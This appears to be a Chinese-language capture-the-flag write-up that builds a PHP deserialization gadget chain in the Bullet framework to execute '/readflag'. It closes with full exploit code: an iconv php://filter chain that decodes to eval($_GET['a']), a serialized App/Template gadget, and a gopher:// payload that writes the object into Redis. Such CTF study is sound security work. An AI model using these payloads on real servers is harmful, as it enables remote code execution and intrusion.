來看看 `$this->_runPath()`

又來一個 `call_user_func`
而且 `$cb` `$request` 我們都可控
那就拿這個來 `RCE`
我們如果要拿到 `flag` 要執行 `system('/readflag give me the flag')`

來試著用這個來用用看吧
#### `system('/readflag give me the flag')`
##### step1: 設定好該有的 `property`
看到 `:265` 會呼叫的 `$this->_runPath()`
需要先滿足呼叫 `$this->_runPath()` 的條件
由 `:259` 得知
要把 `$this->_requestPath` 設出東西
才會進入迴圈執行到 `$this->_runPath()`
<!-- 的參數 `$path` 後面進去會用到 先紀錄下來 -->
然後進入 `$this->_runPath()`

看到 `:320` 的 `call_user_func` 的參數 `$request`
可由 `:303` 設置
只要把 `$this->_request` 設成要的東西就好了
依照我們的情況 他應該要是 `__toString` 後會變成 `/readflag give me the flag` 的東西
至於 `:320` 的 `call_user_func` 的 `$cb`
從 `:318` 知道是 `$this->_callbacks['subdomain'][self::$_pathLevel][$subdomain];`
所以要把他設成 `'system'` 可是需要知道 `$subdomain` 是什麼
`:316` 可以看到是由 `$request->subdomain()` 來的
所以 `$this->_request`
需要符合上面那兩個條件
不過 `\Bullet\Request` 沒有 `__toString` 所以不能用來當 `$this->_request`
前面其實已經有翻過所有的 `__toString()` 了
符合 `__toString()` 條件的只有 `\Bullet\Response` 可是他又沒有 `$request->subdomain()`
那感覺這個地方沒有適合的
要去找其他的地方了
往下走看到了一個看起來有機會的 `:352`
他的參數控制點在 `:346`
所以我們要把 `$this->_callbacks['param'][self::$_pathLevel]` 設成 `['system', 'whatever']`
而且 `$path` 要是 `'/readflag give me the flag'`
然後要怎麼設置 `$path` 可以往上找

<!-- 先看看 `$request->subdomain()` 是什麼東西

看到他會回傳 `$this->host()` `explode('.', .)[0]`
往下看到 `$this->host()` 會回傳 `$this->header('Host')`
看到 `$this->header('Host')` 會回傳 `$this->_headers['Host']`

-->
看到 `:1504`
`$path` 跟 `$paths` 有關
往上找到 `:1503` 看到跟 `$this->_requestPath` 有關
找出 `$this->_requestPath` 會在 `:1845` 被設置成 `$this->_reqeust->url()`
看一下 `$this->_reqeust->url()`
知道要把 `$this->_reqeust->_url` 設成我們的東西
往上看到有東西會把 `$this->_reqeust->_url` 改掉

`:238`
那就沒辦法控制 `$path` 了 qq
繼續往下翻 又看到一個可能的地方

`:388` 看到了 `$request` 然後就知道這裡不行了(上面很多都是因為 `$request`)才不行的
那就回到 `run` 的那個 `call_user_func` 看看吧
想起上面就是為了完成那個地方才去找 `_runPath` 的
來看看 `_runPath` 的回傳值

看起來要用 `call_back` 去控制
不好控制

#### 任意 `require` + `phpinfo()` to RCE
由這個配上前面任意呼叫可以達成任意 `require`, 所以可控檔案的話就可 RCE.

透過前面我們可以任意呼叫 `phpinfo()`, 所以可以硬塞檔案給 server, server 會暫時存著檔案, 被上傳的檔案名稱會在 `phpinfo()` 裡面, 所以有可控檔案, 所以就可以 RCE 了. 詳情: https://github.com/roughiz/lfito_rce?tab=readme-ov-file .
到這邊想到, 都 LFI 了就直接 LFI2RCE 就好了, 沒必要再透過 `phpinfo()` ==.
```php
// gadget.php
<?php
namespace Bullet\View {
class Template
{
// Static config setup for usage
protected static $_config = array(
'default_format' => '',
'default_extension' => 'php',
'path' => '',
'path_layouts' => null,
'auto_layout' => false // Automatically wraps specified layout
);
// Template specific stuff
public $_file = '';
protected $_fileFormat = '';
protected $_vars = array();
public $_path = '';
protected $_layout;
protected $_templateContent;
protected static $_layoutRendered = false;
protected $_exists;
// Content blocks
protected static $_blocks = array();
public function path($path = null)
{
if (null === $path) {
return ($this->_path) ? $this->_path : self::$_config['path'];
} else {
$this->_path = $path;
$this->_exists = false;
return $this; // Fluent interface
}
}
public function format($format = null)
{
if (null === $format) {
return $this->_fileFormat;
} else {
$this->_fileFormat = $format;
return $this; // Fluent interface
}
}
public function file($view = null, $format = null)
{
if (null === $view) {
return $this->_file;
} else {
$this->_file = $view;
$this->_fileFormat = ($format) ? $format : self::$_config['default_format'];
$this->_exists = false;
return $this; // Fluent interface
}
}
public function fileName($template = null)
{
if (null === $template) {
$template = $this->file();
}
return $template . '.' . $this->format() . '.' . self::$_config['default_extension'];
}
public function vars()
{
return $this->_vars;
}
public function layout($layout = null)
{
if (null === $layout) {
return $this->_layout;
}
$this->_layout = $layout;
return $this;
}
/**
* Read template file into content string and return it
*
* @return string
*/
public function content($parsePHP = true)
{
if (!$this->_templateContent) {
// $this->exists(true);
$vfile = $this->path() . $this->fileName();
// Include() and parse PHP code
if ($parsePHP) {
ob_start();
// Use closure to get isolated scope
$view = $this;
$vars = $this->vars();
$render = function ($templateFile) use ($view, $vars) {
extract($vars);
$renderedTemplate = null;
try {
require $templateFile;
} finally {
$renderedTemplate = ob_get_clean();
}
return $renderedTemplate;
};
$templateContent = $render($vfile);
} else {
// Just get raw file contents
$templateContent = file_get_contents($vfile);
}
$templateContent = trim($templateContent);
// Wrap template content in layout
if ($this->layout()) {
// Ensure layout doesn't get rendered recursively
self::$_config['auto_layout'] = false;
// New template for layout
$layout = new self($this->layout());
// Set layout path if specified
if (isset(self::$_config['path_layouts'])) {
$layout->path(self::$_config['path_layouts']);
}
// Pass all locally set variables to layout
$layout->set($this->_vars);
// Set main yield content block
$layout->set('yield', $templateContent);
// Get content
$templateContent = $layout->content($parsePHP);
}
$this->_templateContent = $templateContent;
}
return $this->_templateContent;
}
}
};
namespace Bullet {
class App
{
public $_callbacks = array(
'custom' => array()
);
/**
* Add a custom user method via closure or PHP callback
*
* @param string $method Method name to add
* @param callback $callback Callback or closure that will be executed when missing method call matching $method is made
* @throws InvalidArgumentException
*/
public function addMethod($method, $callback)
{
if (!is_callable($callback)) {
throw new \InvalidArgumentException("Second argument is expected to be a valid callback or closure.");
}
if (method_exists($this, $method)) {
throw new \InvalidArgumentException("Method '" . $method . "' already exists on " . __CLASS__);
}
$this->_callbacks['custom'][$method] = $callback;
}
public function __call($method, $args)
{
if (isset($this->_callbacks['custom'][$method]) && is_callable($this->_callbacks['custom'][$method])) {
$callback = $this->_callbacks['custom'][$method];
return call_user_func_array($callback, $args);
} else {
throw new \BadMethodCallException("Method '" . __CLASS__ . "::" . $method . "' not found");
}
}
}
};
```
```php
// gen.php
<?php
require_once "gadgets.php";
$app = new Bullet\App();
$template = new \Bullet\View\Template();
// LFI2RCE
// eval($_GET['a']);
$template->_file = 'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp';
$app->addMethod('previewCard', [$template, 'content']);
$s = serialize($app);
$protocol_host_port = "gopher://redis:6379/";
$path = "_*3
$3
set
$16
Ching367436_1234
$" . strlen($s) . "
$s
QUIT";
$path = str_replace("\n", "\r\n", $path);
$path = urlencode($path);
$path = str_replace('+', '%20', $path);
$url = $protocol_host_port . $path;
system("echo $url");
```